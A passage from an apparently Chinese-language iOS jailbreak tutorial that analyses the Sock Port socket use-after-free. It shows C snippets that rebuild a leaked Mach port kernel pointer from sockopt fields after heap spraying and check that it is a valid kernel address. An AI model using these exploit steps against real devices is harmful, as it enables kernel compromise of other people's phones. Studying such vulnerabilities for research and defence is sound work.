minmtuip6po_prefer_tempaddr 分別位於該結構體的 +180 和 +184 區域,由於每個 pointer 是 8B,最近的 pointer 位於 +176 ~ +184 和 +184 ~ + 192 區域,因此通過 minmtu 我們能讀到前一個 pointer 的高 32 位,通過 ip6po_prefer_tempaddr 能讀到下一個指標的低 32 位,又因為 Heap Spraying 成功後這些 pointer 都是指向 target ipc_port 的,所以我們可以用他們拼接出一個完整的 pointer address,拼接方法是將 minmtu 左移 32 位或上 ip6po_prefer_tempaddr

uint64_t ptr = (((uint64_t)mtu << 32) & 0xffffffff00000000) | ((uint64_t)pref & 0x00000000ffffffff);
複製程式碼

判斷是否是核心物件指標的地址

下面最關鍵的步驟是如何判斷這是一個有效地核心地址,這裡需要兩個基礎知識:

  1. 如果記憶體中的內容是 0xdeadbeef,則說明這塊區域尚未完成初始化[3];
  2. 根據 XNU 中 mach/arm/vm_param.h 中的定義,核心地址的有效範圍是從 0xffffffe000000000 ~ 0xfffffff3ffffffff,一般而言 port address 的高 32 位是 0xffffffe。

綜合以上兩點有以下判斷程式碼:

if (mtu >= 0xffffff00 && mtu != 0xffffffff && pref != 0xdeadbeef) {
    mach_port_destroy(mach_task_self(), p);
    close(sock);
    return ptr;
}
複製程式碼

如果滿足條件,此時我們已經拿到了 port address。

總結

本文先介紹了 Mach port 的使用者空間與核心空間表示及其功能;隨後簡單介紹了 Sock Port 的實現機理;接著以漏洞的第一個關鍵點(通過 OOL Message 洩露 Port Addr)為切入點,結合 XNU 原始碼深入分析了 OOL Message 實現 ipc_port pointers Spraying 的原理;最後結合 Sock Port 原始碼分析了拿到 Port Address 的過程。

通過這一節的學習,相信你對 Mach port 的整套機制和 Heap Spraying 有了更加深入的認識。

下節預告

通過 Socket UAF 不僅能實現洩露 Port Address,還能實現任意地址的讀取和任意核心 zone 的釋放。在下一節中,我們將介紹基於 IOSurface 的 Heap Spraying 與 Socket UAF 組合來實現上述 Primitives 的原理和過程。

iOS Jailbreak Principles - Sock Port 漏洞解析(二)通過 Mach OOL Message 洩露 Port Address

參考資料

  1. Debugging Mach Ports. Robert Sesek
  2. Mach Overview - Tasks and Threads. Apple
  3. Hexspeak. Wikipedia
  4. GNU Doc - Memory
  5. IPC Voucher UaF Remote Jailbreak Stage 2. Qixun Zhao
  6. Sock Port 2 on GitHub
  7. CVE-2016-7637---再談Mach IPC. turing.huang

相關文章